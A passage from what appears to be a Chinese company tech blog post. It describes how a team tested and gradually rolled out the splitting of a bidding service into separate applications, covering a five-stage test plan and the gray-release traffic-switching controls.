    1. 缩短应用部署时间: 治理后的出价服务将加快编译和部署速度,缩短Bidding-interfaces应用发布(编译+部署)时间 由12分钟降低到6分钟,从而显著提升开发人员的工作效率,减少自测、调试和部署所需的时间。以Bidding服务T1环境目前一个月编译部署至少1500次计算,每个月可以节约150h应用发布时间。
    2. 提升问题定位效率: 出价基础服务层与上层业务逻辑层代码库&应用分开后,排查定位开发过程中遇到的问题和线上问题时可以有效缩小代码范围,快速定位问题代码位置。

五、测试计划设计

服务拆分的前期,研发团队投入了大量的心血。现在代码终于提测了,进入我们的测试环节:

为了能收获更好的质量效果,同时也为了不同研发、测试同学的分工。我们需要细化到最细粒度,即接口维度整理出一份详细的文档。基于此文档的基础,我们确定工作量和人员排期:

如本迭代,我们投入4位研发同学,2位测试同学。完成该200个Dubbo接口和100个HTTP接口,以及20个Topic迁移。对应的提测接口,标记上负责的研发、测试、测试进度、接口详细信息等内容。

基于该文档的基础上,我们的工作清晰而明确。一个大型的服务拆分,也变成了一步一步的里程碑任务。

接下来给大家看一下,关于Bidding拆分。我们团队整体的测试计划,我们一共设计了五道流程。

  • 第一关:自测接口对比:

    每批次拆分接口提测前,研发同学必须完成接口自测。基于新旧接口返回结果对比验证。验证通过后标记在文档中,再进入测试流程。

    对于拆分项目,自测卡的相对更加严格。由于仅做接口迁移,逻辑无变更,自测也更加容易开展。由研发同学做好接口自测,可以避免提测后新接口不通的低级问题。提高项目进度。

    在这个环节中。偶尔遇见自测不充分、新接口参数传丢、新Topic未配置等问题。(三期、四期测试中,我们加强了对研发自测的要求)。

  • 第二关:测试功能回归

    这一步骤基本属于测试的人工验证,同时重点需关注写接口数据验证。

    回归时要测的细致。每个接口,测试同学进行合理评估。尽量针对接口主流程,进行细致功能回归。由于迁移的接口数量多,历史逻辑重。一方面在接口测试任务分配时,要尽量选择对该业务熟悉的同学。另一方面,承接的同学也有做好历史逻辑梳理。尽量不要产生漏测造成的问题。

    该步骤测出的问题五花八门。另外由于Bidding拆分成多个新服务。两个新服务经常彼此间调用会出现问题。比如二期Bidding-foundation迁移完成后,Bidding-operation的接口在迁移时,依赖接口需要从Bidding替换成foundation的接口。

    灰度打开情况下,调用新接口报错仍然走老逻辑。(测试时,需要关注trace中是否走了新应用)。

  • 第三关:自动化用例

    出价域内沉淀了比较完善的接口自动化用例。在人工测试时,测试同学可以借助自动化能力,完成对迁移接口的回归功能验证。

    同时在发布前天,组内会特地多跑一轮全量自动化。一次是迁移接口开关全部打开,一次是迁移接口开关全部关闭即正常的自动化回归。然后全员进行排错。

    全量的自动化用例执行,对迁移接口问题拦截,有比较好的效果。因为会有一些功能点,人工测试时关联功能未考虑到,但在接口自动化覆盖下无所遁形。

  • 第四关:流量回放

    在拆分接口开关打开的情况下,在预发环境进行流量回放。

    线上录制流量的数据往往更加复杂,经常会测出一些意料之外的问题。

    迭代过程中,我们组内仍然会在沿用两次回放。迁移接口开关打开后回放一次,开关关闭后回放一次。(跟发布配置保持一致)。

  • 第五关:灰度过程中,关闭接口开关,功能回滚

    为保证线上生产质量,在迁移接口小流量灰度过程中。我们持续监测线上问题告警群。

    以上,就是出价域测试团队,针对服务拆分的测试流程。同时遵循可回滚的发布标准,拆分接口做了非常完善的灰度功能。下一段落进行介绍。

六、各流量类型灰度切量方案

出价流程切新应用灰度控制从几个维度控制:总开关,出价类型范围,channel范围,source范围,bidSource范围,uid白名单&uid百分比(0-10000):

  • 灰度策略
  • 支持 接口维度 ,按照百分比进行灰度切流;

  • 支持一键回切;

Dubbo接口、HTTP接口、TOC任务迁移、DMQ消息迁移分别配有不同的灰度策略。

七、结语

拆分的过程中,伴随着很多迭代需求的开发。为了提高迁移效率,我们会在需求排期后,并行处理迭代功能相关的接口,把服务拆分和迭代需求一起完成掉。

目前,我们的拆分已经进入尾声。迭代发布后,整体的技术项目就结束了。灰度节奏在按预期节奏进行~

值得一提的是,目前我们的流量迁移仍处于第一阶段,即拆分应用出价域内灰度迁移,上游不感知。目前所有的流量仍然通过bidding服务接口进行转发。后续第二阶段,灰度验证完成后,需要进行上游接口替换,流量直接请求拆分后的应用。

往期回顾

1.大模型网关:大模型时代的智能交通枢纽|得物技术

2.从“人治”到“机治”:得物离线数仓发布流水线质量门禁实践

3.AI编程实践:从Claude Code实践到团队协作的优化思考|得物技术

4.入选AAAI-PerFM|得物社区推荐之基于大语言模型的新颖性推荐算法

5.Galaxy比数平台功能介绍及实现原理|得物技术

文 /寇森

关注得物技术,每周一、三更新技术干货

要是觉得文章对你有帮助的话,欢迎评论转发点赞~

未经得物技术许可严禁转载,否则依法追究法律责任。

❌
❌